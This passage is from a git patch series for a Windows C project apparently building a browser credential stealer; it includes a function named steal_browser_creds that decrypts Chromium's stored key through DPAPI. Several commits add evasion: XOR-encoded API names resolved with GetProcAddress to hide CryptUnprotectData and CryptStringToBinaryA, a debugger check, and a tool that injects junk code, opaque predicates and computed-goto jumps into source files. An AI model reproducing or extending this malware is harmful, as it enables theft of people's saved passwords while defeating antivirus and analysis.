- fprintf(output, " buffer_control_%d[1] ^= buffer_control_%d[2];\n", buffer_id, buffer_id); - fprintf(output, " }\n"); - break; - } - - case 2: { - int branch_id = rand() % 1000; - fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n", branch_id); - fprintf(output, " volatile int bitmask_%d = (rand() << 16) | rand();\n", branch_id); - - fprintf(output, " if (decision_%d > (0x7FFF * 3 / 4)) {\n", branch_id); - fprintf(output, " decision_%d ^= (bitmask_%d & 0x3F3F3F3F);\n", branch_id, branch_id); - fprintf(output, " } else {\n"); - fprintf(output, " decision_%d &= ~(0xF0F0F0F);\n", branch_id); - fprintf(output, " }\n"); - break; - } - - case 3: { - int rand_id = rand() % 1000; - fprintf(output, " /* Opaque predicate */\n"); - fprintf(output, " int key_%d = rand() %% 255;\n", rand_id); - fprintf(output, " int predicate_%d = ((key_%d * 0x6B8B4567) & 0x42) != 0;\n", rand_id, rand_id); - fprintf(output, " if (predicate_%d) {\n", rand_id); - fprintf(output, " volatile int opaque_%d = rand();\n", rand_id); - fprintf(output, " opaque_%d ^= (opaque_%d << 16);\n", rand_id, rand_id); - fprintf(output, " }\n"); - break; - } - case 4: - { - int label_id = rand() % 1000; - fprintf(output, " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n", label_id, label_id, label_id); - fprintf(output, " goto *jmp_table_%d[rand() %% 2];\n", label_id); - fprintf(output, "label_%d_A:\n", label_id); - fprintf(output, " volatile int control_var_%d = rand() %% 100;\n", label_id); - fprintf(output, " control_var_%d ^= (rand() %% 20);\n", label_id); - fprintf(output, " goto end_%d;\n", label_id); - fprintf(output, "label_%d_B:\n", label_id); - fprintf(output, " volatile int alt_var_%d = rand() %% 50;\n", label_id); - fprintf(output, " alt_var_%d += (rand() %% 30);\n", label_id); - fprintf(output, "end_%d:\n", label_id); - } - break; + unsigned int rand_value; + rand_value = rand() % 5; + + switch (rand_value) { + case 0: { + int var_id = rand() % 1000; + fprintf(output, + " volatile int control_state_%d = rand() ^ (rand() << 16);\n", + var_id); + fprintf(output, " if ((control_state_%d & 0x8000) == 0) {\n", var_id); + fprintf(output, " control_state_%d ^= (rand() << 8) | 0xFF00FF;\n", + var_id); + fprintf(output, " } else {\n"); + fprintf(output, " control_state_%d |= (rand() %% 0xFFFF);\n", + var_id); + fprintf(output, " }\n"); + break; + } + + case 1: { + int buffer_id = rand() % 1000; + fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf( + output, + " buffer_control_%d[i] = (rand() << 24) | (rand() << 8);\n", + buffer_id); + fprintf(output, " }\n"); + fprintf(output, + " if ((buffer_control_%d[0] ^ buffer_control_%d[1]) > " + "buffer_control_%d[2]) {\n", + buffer_id, buffer_id, buffer_id); + fprintf(output, " buffer_control_%d[1] ^= buffer_control_%d[2];\n", + buffer_id, buffer_id); + fprintf(output, " }\n"); + break; } + + case 2: { + int branch_id = rand() % 1000; + fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n", + branch_id); + fprintf(output, + " volatile int bitmask_%d = (rand() << 16) | rand();\n", + branch_id); + + fprintf(output, " if (decision_%d > (0x7FFF * 3 / 4)) {\n", branch_id); + fprintf(output, " decision_%d ^= (bitmask_%d & 0x3F3F3F3F);\n", + branch_id, branch_id); + fprintf(output, " } else {\n"); + fprintf(output, " decision_%d &= ~(0xF0F0F0F);\n", branch_id); + fprintf(output, " }\n"); + break; + } + + case 3: { + int rand_id = rand() % 1000; + fprintf(output, " /* Opaque predicate */\n"); + fprintf(output, " int key_%d = rand() %% 255;\n", rand_id); + fprintf(output, + " int predicate_%d = ((key_%d * 0x6B8B4567) & 0x42) != 0;\n", + rand_id, rand_id); + fprintf(output, " if (predicate_%d) {\n", rand_id); + fprintf(output, " volatile int opaque_%d = rand();\n", rand_id); + fprintf(output, " opaque_%d ^= (opaque_%d << 16);\n", rand_id, + rand_id); + fprintf(output, " }\n"); + break; + } + case 4: { + int label_id = rand() % 1000; + fprintf(output, + " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n", + label_id, label_id, label_id); + fprintf(output, " goto *jmp_table_%d[rand() %% 2];\n", label_id); + fprintf(output, "label_%d_A:\n", label_id); + fprintf(output, " volatile int control_var_%d = rand() %% 100;\n", + label_id); + fprintf(output, " control_var_%d ^= (rand() %% 20);\n", label_id); + fprintf(output, " goto end_%d;\n", label_id); + fprintf(output, "label_%d_B:\n", label_id); + fprintf(output, " volatile int alt_var_%d = rand() %% 50;\n", + label_id); + fprintf(output, " alt_var_%d += (rand() %% 30);\n", label_id); + fprintf(output, "end_%d:\n", label_id); + } break; + } } void insert_obfuscation(const char *file_path) { - char temp_file[] = "obfuscated_temp.c"; - FILE *input = fopen(file_path, "r"); - FILE *output = fopen(temp_file, "w"); + char temp_file[] = "obfuscated_temp.c"; + FILE *input = fopen(file_path, "r"); + FILE *output = fopen(temp_file, "w"); + + if (!input || !output) { + perror("Error opening files"); + exit(EXIT_FAILURE); + } + + char line[MAX_LINE_LENGTH]; + int inside_function = 0; + int obfuscations_in_function = 0; + int inside_struct = 0; + + while (fgets(line, sizeof(line), input)) { + if (strstr(line, "struct ") || strstr(line, "typedef struct")) { + inside_struct = 1; + } + if (strstr(line, "};") && inside_struct) { + inside_struct = 0; + } - if (!input || !output) { - perror("Error opening files"); - exit(EXIT_FAILURE); + if (strstr(line, "{") && !inside_struct) { + inside_function = 1; + obfuscations_in_function = 0; + } + if (strstr(line, "}") && !inside_struct) { + inside_function = 0; } - char line[MAX_LINE_LENGTH]; - int inside_function = 0; - int obfuscations_in_function = 0; - int inside_struct = 0; - - - while (fgets(line, sizeof(line), input)) { - if (strstr(line, "struct ") || strstr(line, "typedef struct")) { - inside_struct = 1; - } - if (strstr(line, "};") && inside_struct) { - inside_struct = 0; - } - - if (strstr(line, "{") && !inside_struct) { - inside_function = 1; - obfuscations_in_function = 0; - } - if (strstr(line, "}") && !inside_struct) { - inside_function = 0; - } - - if (inside_function && strstr(line, "return") && obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { - if (rand() % 100 < JUNK_CODE_PROBABILITY) { - generate_junk_code(output); - obfuscations_in_function++; - } - } - - fputs(line, output); - - if (inside_function && strstr(line, ";") && !strstr(line, "return") && - obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { - - if (rand() % 100 < JUNK_CODE_PROBABILITY) { - generate_junk_code(output); - obfuscations_in_function++; - } - if (rand() % 100 < CONTROL_FLOW_PROBABILITY) { - generate_control_flow(output); - obfuscations_in_function++; - } - if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) { - generate_control_flow(output); - obfuscations_in_function++; - } - } + if (inside_function && strstr(line, "return") && + obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } } - fclose(input); - fclose(output); + fputs(line, output); - if (rename(temp_file, file_path) != 0) { - perror("Error replacing source file"); - exit(EXIT_FAILURE); + if (inside_function && strstr(line, ";") && !strstr(line, "return") && + obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + if (rand() % 100 < JUNK_CODE_PROBABILITY) { + generate_junk_code(output); + obfuscations_in_function++; + } + if (rand() % 100 < CONTROL_FLOW_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } + if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) { + generate_control_flow(output); + obfuscations_in_function++; + } } - printf("Obfuscation successful for: %s\n", file_path); + } + + fclose(input); + fclose(output); + + if (rename(temp_file, file_path) != 0) { + perror("Error replacing source file"); + exit(EXIT_FAILURE); + } + printf("Obfuscation successful for: %s\n", file_path); } int main(int argc, char *argv[]) { - if (argc != 2) { - printf("Usage: %s \n", argv[0]); - return EXIT_FAILURE; - } + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + return EXIT_FAILURE; + } - insert_obfuscation(argv[1]); - return EXIT_SUCCESS; + insert_obfuscation(argv[1]); + return EXIT_SUCCESS; } \ No newline at end of file From 45652fbe26b27773038dbc66ed56a5189c61db44 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Tue, 18 Feb 2025 19:05:23 +0100 Subject: [PATCH 36/49] dynamic_resolution_dpapi --- include/chromium.h | 6 +++--- include/obfuscation.h | 17 +++++++++++++++-- makefile | 2 +- src/chromium.c | 27 ++++++++++++++------------- src/obfuscation.c | 30 ++++++++++++++++++++++++++---- 5 files changed, 59 insertions(+), 23 deletions(-) diff --git a/include/chromium.h b/include/chromium.h index 7b38b8d..06a68e5 100644 --- a/include/chromium.h +++ b/include/chromium.h @@ -3,7 +3,7 @@ #include #include - +#include "obfuscation.h" #include "logins.h" #define MAX_BROWSER_NAME_SIZE 20 @@ -22,8 +22,8 @@ static int retrieve_logins(PWSTR fullPath, int *loginCountOut, Login *loginsOut[]); static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encryptedKeyOut); static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], - size_t *decodedKeySizeOut); + size_t *decodedKeySizeOut, hidden_apis *apis); static int decrypt_key(BYTE *encryptedKey, size_t encryptedKeySize, - DATA_BLOB *decryptedKeyOut); + DATA_BLOB *decryptedKeyOut, hidden_apis *apis); #endif diff --git a/include/obfuscation.h b/include/obfuscation.h index 3b924ce..acf2c29 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -1,3 +1,7 @@ +#ifndef OBFUSCATION_H +#define OBFUSCATION_H +#include +#include #include #include @@ -19,11 +23,20 @@ typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, PBOOL pbDebuggerPresent); typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName); -//typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD dwFlags, HANDLE hToken, PWSTR *ppszPath); +typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB*, LPWSTR*, DATA_BLOB*, void*, void*, DWORD, DATA_BLOB*); +typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*); +typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD dwFlags, HANDLE hToken, PWSTR *ppszPath); + + typedef struct { PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; PLoadLibraryA funcLoadLibraryA; - //PSHGetKnownFolderPath funcSHGetKnownFolderPath; + PCryptUnprotectData funcCryptUnprotectData; + PCryptStringToBinaryA funcCryptStringToBinaryA; + PSHGetKnownFolderPath funcSHGetKnownFolderPath; } hidden_apis; + void resolve_apis(hidden_apis *apis); + +#endif // OBFUSCATION_H diff --git a/makefile b/makefile index e29e16e..5554f8d 100644 --- a/makefile +++ b/makefile @@ -12,7 +12,7 @@ CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-deref #not needed for now LDFLAGS =# -Wl,--strip-all -LLIB= -luuid -lole32 -lcrypt32 +LLIB= -luuid -lole32 DEBUG=-DDEBUG .PHONY : all help clean diff --git a/src/chromium.c b/src/chromium.c index 6312f2e..29a7aa2 100644 --- a/src/chromium.c +++ b/src/chromium.c @@ -5,8 +5,6 @@ // clang-format on #include "chromium.h" - -#include #include #include #include @@ -106,11 +104,11 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { // note that `decodedKeyOut` is still encrypted at this point // NOTE: `decodedKeyOut` must be freed by the caller static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], - size_t *decodedKeySizeOut) { + size_t *decodedKeySizeOut, hidden_apis *apis) { // Get size of the decoded key (needed for the next malloc) DWORD decodedBinarySize = 0; - if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL, - &decodedBinarySize, NULL, NULL)) { + if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL, + &decodedBinarySize, NULL, NULL)) { fprintf(stderr, "Failed getting base64 size. Error code: %lu\n", GetLastError()); return EXIT_FAILURE; @@ -123,9 +121,9 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], } // Decode the encoded key, this leaves us with an AES-GCM encrypted key - if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, - decodedBinaryData, &decodedBinarySize, NULL, - NULL)) { + if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, + decodedBinaryData, &decodedBinarySize, NULL, + NULL)) { fprintf(stderr, "Failed decoding base64. Error code: %lu\n", GetLastError()); free(decodedBinaryData); @@ -153,14 +151,14 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], // Decrypts `encryptedKey` of size `encryptedKeySize` using DPAPI // NOTE: `decryptedKeyOut` must be freed by the caller static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, - DATA_BLOB *decryptedKeyOut) { + DATA_BLOB *decryptedKeyOut, hidden_apis *apis) { DATA_BLOB DataInput; DATA_BLOB DataOutput; DataInput.cbData = (DWORD)encryptedKeySize; DataInput.pbData = encryptedKey; - if (!CryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, &DataOutput)) { + if (!apis->funcCryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, &DataOutput)) { fprintf(stderr, "Failed decrypting key. Error code: %lu\n", GetLastError()); free(encryptedKey); return EXIT_FAILURE; @@ -230,17 +228,20 @@ static int steal_browser_creds(BrowserInfo browser) { wprintf(L"Could not retrieve key from %ls\n", localStatePath); return EXIT_FAILURE; } + // dynamic resol + hidden_apis apis; + resolve_apis(&apis); size_t encryptedKeySize = 0; BYTE *encryptedKey; - if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize) != + if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize,&apis) != EXIT_SUCCESS) { printf("Could not decode %ls\n", encodedKey); return EXIT_FAILURE; } - + DATA_BLOB decryptedBlob; - if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob) != + if (decrypt_key(encryptedKey, encryptedKeySize, &decryptedBlob,&apis) != EXIT_SUCCESS) { fprintf(stderr, "Could not decrypt key\n"); return EXIT_FAILURE; diff --git a/src/obfuscation.c b/src/obfuscation.c index b8719d6..0f8133b 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -33,6 +33,8 @@ void resolve_apis(hidden_apis *apis) { XOR_WSTR(kernel_str, wcslen(kernel_str)); HMODULE hKernel32 = GetModuleHandleW(kernel_str); + printf("[DEBUG] Kernel32 loaded at: %p\n", hKernel32); + // Resolve strings char checkRemoteDbg_str[] = @@ -40,18 +42,38 @@ void resolve_apis(hidden_apis *apis) { "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str)); - char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; + wchar_t crypt32_str[] = L"\x49\x58\x53\x5a\x5e\x19\x18\x04\x4e\x46\x46"; // crypt32.dll + XOR_WSTR(crypt32_str, wcslen(crypt32_str)); + HMODULE hCrypt32 = LoadLibraryW(crypt32_str); + printf("[DEBUG] Crypt32 loaded at: %p\n", hCrypt32); + + + // Resolve functions in crypt32.dll + char cryptUnprotectData_str[] = "\x69\x58\x53\x5a\x5e\x7f\x44\x5a\x58\x45\x5e\x4f\x49\x5e\x6e\x4b\x5e\x4b"; + + XOR_STR(cryptUnprotectData_str, strlen(cryptUnprotectData_str)); + + char cryptStringToBinaryA_str[] = "\x69\x58\x53\x5a\x5e\x79\x5e\x58\x43\x44\x4d\x7e\x45\x68\x43\x44\x4b\x58\x53\x6b"; + + XOR_STR(cryptStringToBinaryA_str, strlen(cryptStringToBinaryA_str)); + + apis->funcCryptUnprotectData = (PCryptUnprotectData)GetProcAddress(hCrypt32, cryptUnprotectData_str); + + + apis->funcCryptStringToBinaryA = (PCryptStringToBinaryA)GetProcAddress(hCrypt32, cryptStringToBinaryA_str); + + /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b"; XOR_STR(loadLibA_str, strlen(loadLibA_str)); char SHGetKnownFolderPath_str[] = "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b" "\x5e\x42"; - XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str)); + XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/ apis->funcCheckRemoteDebuggerPresent = (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32, checkRemoteDbg_str); - apis->funcLoadLibraryA = - (PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); + //apis->funcLoadLibraryA = + //(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str); // apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress( // hKernel32, SHGetKnownFolderPath_str); } From f49705be3f034bece753a681cc27c1d570f9179d Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Tue, 18 Feb 2025 19:25:02 +0100 Subject: [PATCH 37/49] Comments --- src/junk_code_inserter.c | 41 ++++++++++++++++++++++++++++++++-------- 1 file changed, 33 insertions(+), 8 deletions(-) diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c index ab68714..d1a3906 100644 --- a/src/junk_code_inserter.c +++ b/src/junk_code_inserter.c @@ -2,12 +2,14 @@ // ./build.sh #include "junk_code_inserter.h" +// Generates random junk code to obfuscate the source code. void generate_junk_code(FILE *output) { unsigned int rand_value; - rand_value = rand() % 5; + rand_value = rand() % 5; // Selects a random junk code pattern switch (rand_value) { case 0: { + // Introduces a volatile integer and performs random bitwise operations int var_id = rand() % 1000; fprintf(output, " volatile int random_val_%d = rand() %% 256;\n", var_id); @@ -28,6 +30,7 @@ void generate_junk_code(FILE *output) { } case 1: { + // Allocates a small array, fills it with random values, modifies one element, and frees it int array_id = rand() % 1000; int array_size = 2 + (rand() % 3); fprintf( @@ -50,6 +53,7 @@ void generate_junk_code(FILE *output) { } case 2: { + // Creates a small heap allocation, fills it with random values, performs some calculations, and frees it int ptr_id = rand() % 1000; fprintf( output, @@ -69,6 +73,7 @@ void generate_junk_code(FILE *output) { } case 3: { + // Introduces a control flow variable with bitwise operations and loops int logic_id = rand() % 1000; fprintf(output, " volatile int control_flow_%d = rand() ^ (rand() << 16);\n", @@ -91,6 +96,7 @@ void generate_junk_code(FILE *output) { } case 4: { + // Generates a random seed and modifies it within a loop int loop_id = rand() % 1000; fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n", loop_id); @@ -111,12 +117,14 @@ void generate_junk_code(FILE *output) { } } +// Generates random control flow obfuscation to make reverse engineering harder. void generate_control_flow(FILE *output) { unsigned int rand_value; - rand_value = rand() % 5; + rand_value = rand() % 5; // Selects a random control flow obfuscation pattern switch (rand_value) { case 0: { + // Creates a volatile control state variable and modifies it based on bitwise conditions int var_id = rand() % 1000; fprintf(output, " volatile int control_state_%d = rand() ^ (rand() << 16);\n", @@ -132,6 +140,7 @@ void generate_control_flow(FILE *output) { } case 1: { + // Declares a small buffer and modifies its contents based on random values int buffer_id = rand() % 1000; fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id); fprintf(output, " for (int i = 0; i < 3; i++) {\n"); @@ -151,6 +160,7 @@ void generate_control_flow(FILE *output) { } case 2: { + // Uses bitwise operations and conditional logic to modify a variable int branch_id = rand() % 1000; fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n", branch_id); @@ -168,6 +178,7 @@ void generate_control_flow(FILE *output) { } case 3: { + // Implements an opaque predicate for obfuscation int rand_id = rand() % 1000; fprintf(output, " /* Opaque predicate */\n"); fprintf(output, " int key_%d = rand() %% 255;\n", rand_id); @@ -182,6 +193,7 @@ void generate_control_flow(FILE *output) { break; } case 4: { + // Uses a jump table with computed goto for control flow obfuscation int label_id = rand() % 1000; fprintf(output, " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n", @@ -201,37 +213,43 @@ void generate_control_flow(FILE *output) { } } +// Applies junk code and control flow obfuscation to a given source file. void insert_obfuscation(const char *file_path) { char temp_file[] = "obfuscated_temp.c"; FILE *input = fopen(file_path, "r"); FILE *output = fopen(temp_file, "w"); + // Check if files opened successfully if (!input || !output) { perror("Error opening files"); exit(EXIT_FAILURE); } char line[MAX_LINE_LENGTH]; - int inside_function = 0; - int obfuscations_in_function = 0; - int inside_struct = 0; + int inside_function = 0; // Flag to track if we are inside a function + int obfuscations_in_function = 0; // Counter to limit obfuscations per function + int inside_struct = 0; // Flag to track if we are inside a struct definition + // Process the input file line by line while (fgets(line, sizeof(line), input)) { + // Detect struct definitions to avoid modifying them if (strstr(line, "struct ") || strstr(line, "typedef struct")) { inside_struct = 1; } if (strstr(line, "};") && inside_struct) { inside_struct = 0; } - + // Detect function start by encountering an opening brace '{' outside of a struct if (strstr(line, "{") && !inside_struct) { inside_function = 1; - obfuscations_in_function = 0; + obfuscations_in_function = 0; // Reset obfuscation counter for new function } + // Detect function end by encountering a closing brace '}' outside of a struct if (strstr(line, "}") && !inside_struct) { - inside_function = 0; + inside_function = 0; } + // Insert junk code before return statements if inside a function if (inside_function && strstr(line, "return") && obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { if (rand() % 100 < JUNK_CODE_PROBABILITY) { @@ -240,18 +258,23 @@ void insert_obfuscation(const char *file_path) { } } + // Write the current line to the output file fputs(line, output); + // Insert obfuscation after semicolon if inside a function and not a return statement if (inside_function && strstr(line, ";") && !strstr(line, "return") && obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) { + // Randomly insert junk code if (rand() % 100 < JUNK_CODE_PROBABILITY) { generate_junk_code(output); obfuscations_in_function++; } + // Randomly insert control flow obfuscation if (rand() % 100 < CONTROL_FLOW_PROBABILITY) { generate_control_flow(output); obfuscations_in_function++; } + // Randomly insert opaque predicates for additional obfuscation if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) { generate_control_flow(output); obfuscations_in_function++; @@ -259,9 +282,11 @@ void insert_obfuscation(const char *file_path) { } } + // Close file streams fclose(input); fclose(output); + // Replace the original file with the obfuscated version if (rename(temp_file, file_path) != 0) { perror("Error replacing source file"); exit(EXIT_FAILURE); From 7b1a5f571f7dd16868b566f130af64583d913935 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Tue, 18 Feb 2025 19:33:53 +0100 Subject: [PATCH 38/49] fix clang issue --- src/junk_code_inserter.c | 617 ++++++++++++++++++++------------------- 1 file changed, 313 insertions(+), 304 deletions(-) diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c index d1a3906..1ce05cf 100644 --- a/src/junk_code_inserter.c +++ b/src/junk_code_inserter.c @@ -1,305 +1,314 @@ -// gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude --> -// ./build.sh -#include "junk_code_inserter.h" - -// Generates random junk code to obfuscate the source code. -void generate_junk_code(FILE *output) { - unsigned int rand_value; - rand_value = rand() % 5; // Selects a random junk code pattern - - switch (rand_value) { - case 0: { - // Introduces a volatile integer and performs random bitwise operations - int var_id = rand() % 1000; - fprintf(output, " volatile int random_val_%d = rand() %% 256;\n", - var_id); - fprintf(output, " for (int i = 0; i < 3 + (rand() %% 3); i++) {\n"); - fprintf( - output, - " random_val_%d ^= (random_val_%d + i) & (rand() %% 100);\n", - var_id, var_id); - fprintf(output, " }\n"); - fprintf(output, - " if ((random_val_%d & (1 << (rand() %% 8))) != 0) {\n", - var_id); - fprintf(output, " random_val_%d |= (rand() %% 0xFF);\n", var_id); - fprintf(output, " } else {\n"); - fprintf(output, " random_val_%d &= ~(rand() %% 0x7F);\n", var_id); - fprintf(output, " }\n"); - break; - } - - case 1: { - // Allocates a small array, fills it with random values, modifies one element, and frees it - int array_id = rand() % 1000; - int array_size = 2 + (rand() % 3); - fprintf( - output, - " volatile int* mem_block_%d = (int*)malloc(sizeof(int) * %d);\n", - array_id, array_size); - fprintf(output, " if (mem_block_%d) {\n", array_id); - fprintf(output, " for (int i = 0; i < %d; i++) {\n", array_size); - fprintf( - output, - " mem_block_%d[i] = (i * rand()) ^ (rand() %% 0xFFFF);\n", - array_id); - fprintf(output, " }\n"); - fprintf(output, - " mem_block_%d[rand() %% %d] ^= (rand() %% 0xFF);\n", - array_id, array_size); - fprintf(output, " free((void*)mem_block_%d);\n", array_id); - fprintf(output, " }\n"); - break; - } - - case 2: { - // Creates a small heap allocation, fills it with random values, performs some calculations, and frees it - int ptr_id = rand() % 1000; - fprintf( - output, - " volatile int* heap_var_%d = (int*)malloc(sizeof(int) * 3);\n", - ptr_id); - fprintf(output, " if (heap_var_%d) {\n", ptr_id); - fprintf(output, " for (int i = 0; i < 3; i++) {\n"); - fprintf(output, " heap_var_%d[i] = (rand() << 16) | rand();\n", - ptr_id); - fprintf(output, " }\n"); - fprintf(output, - " heap_var_%d[1] ^= heap_var_%d[2] * heap_var_%d[0];\n", - ptr_id, ptr_id, ptr_id); - fprintf(output, " free((void*)heap_var_%d);\n", ptr_id); - fprintf(output, " }\n"); - break; - } - - case 3: { - // Introduces a control flow variable with bitwise operations and loops - int logic_id = rand() % 1000; - fprintf(output, - " volatile int control_flow_%d = rand() ^ (rand() << 16);\n", - logic_id); - fprintf(output, - " for (int i = (control_flow_%d & 0x3); i > 0; i--) {\n", - logic_id); - fprintf(output, - " control_flow_%d ^= (i * control_flow_%d) | (rand() %% " - "0xFFFF);\n", - logic_id, logic_id); - fprintf(output, " }\n"); - fprintf(output, " if ((control_flow_%d & 0x80000000)) {\n", logic_id); - fprintf(output, " control_flow_%d += rand();\n", logic_id); - fprintf(output, " } else {\n"); - fprintf(output, " control_flow_%d -= (rand() %% 0x3FF);\n", - logic_id); - fprintf(output, " }\n"); - break; - } - - case 4: { - // Generates a random seed and modifies it within a loop - int loop_id = rand() % 1000; - fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n", - loop_id); - fprintf(output, " volatile int modifier_%d = rand() %% 100 + 1;\n", - loop_id); - fprintf(output, - " for (int i = (seed_%d & 0x3); i < (4 + (modifier_%d & " - "0x1)); i++) {\n", - loop_id, loop_id); - fprintf(output, - " seed_%d = ((seed_%d * 0x5DEECE66DULL + 0xB) ^ (rand() " - "<< 16)) + modifier_%d;\n", - loop_id, loop_id, loop_id); - fprintf(output, " if ((seed_%d & 0xF) == 0) break;\n", loop_id); - fprintf(output, " }\n"); - break; - } - } -} - -// Generates random control flow obfuscation to make reverse engineering harder. -void generate_control_flow(FILE *output) { - unsigned int rand_value; - rand_value = rand() % 5; // Selects a random control flow obfuscation pattern - - switch (rand_value) { - case 0: { - // Creates a volatile control state variable and modifies it based on bitwise conditions - int var_id = rand() % 1000; - fprintf(output, - " volatile int control_state_%d = rand() ^ (rand() << 16);\n", - var_id); - fprintf(output, " if ((control_state_%d & 0x8000) == 0) {\n", var_id); - fprintf(output, " control_state_%d ^= (rand() << 8) | 0xFF00FF;\n", - var_id); - fprintf(output, " } else {\n"); - fprintf(output, " control_state_%d |= (rand() %% 0xFFFF);\n", - var_id); - fprintf(output, " }\n"); - break; - } - - case 1: { - // Declares a small buffer and modifies its contents based on random values - int buffer_id = rand() % 1000; - fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id); - fprintf(output, " for (int i = 0; i < 3; i++) {\n"); - fprintf( - output, - " buffer_control_%d[i] = (rand() << 24) | (rand() << 8);\n", - buffer_id); - fprintf(output, " }\n"); - fprintf(output, - " if ((buffer_control_%d[0] ^ buffer_control_%d[1]) > " - "buffer_control_%d[2]) {\n", - buffer_id, buffer_id, buffer_id); - fprintf(output, " buffer_control_%d[1] ^= buffer_control_%d[2];\n", - buffer_id, buffer_id); - fprintf(output, " }\n"); - break; - } - - case 2: { - // Uses bitwise operations and conditional logic to modify a variable - int branch_id = rand() % 1000; - fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n", - branch_id); - fprintf(output, - " volatile int bitmask_%d = (rand() << 16) | rand();\n", - branch_id); - - fprintf(output, " if (decision_%d > (0x7FFF * 3 / 4)) {\n", branch_id); - fprintf(output, " decision_%d ^= (bitmask_%d & 0x3F3F3F3F);\n", - branch_id, branch_id); - fprintf(output, " } else {\n"); - fprintf(output, " decision_%d &= ~(0xF0F0F0F);\n", branch_id); - fprintf(output, " }\n"); - break; - } - - case 3: { - // Implements an opaque predicate for obfuscation - int rand_id = rand() % 1000; - fprintf(output, " /* Opaque predicate */\n"); - fprintf(output, " int key_%d = rand() %% 255;\n", rand_id); - fprintf(output, - " int predicate_%d = ((key_%d * 0x6B8B4567) & 0x42) != 0;\n", - rand_id, rand_id); - fprintf(output, " if (predicate_%d) {\n", rand_id); - fprintf(output, " volatile int opaque_%d = rand();\n", rand_id); - fprintf(output, " opaque_%d ^= (opaque_%d << 16);\n", rand_id, - rand_id); - fprintf(output, " }\n"); - break; - } - case 4: { - // Uses a jump table with computed goto for control flow obfuscation - int label_id = rand() % 1000; - fprintf(output, - " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n", - label_id, label_id, label_id); - fprintf(output, " goto *jmp_table_%d[rand() %% 2];\n", label_id); - fprintf(output, "label_%d_A:\n", label_id); - fprintf(output, " volatile int control_var_%d = rand() %% 100;\n", - label_id); - fprintf(output, " control_var_%d ^= (rand() %% 20);\n", label_id); - fprintf(output, " goto end_%d;\n", label_id); - fprintf(output, 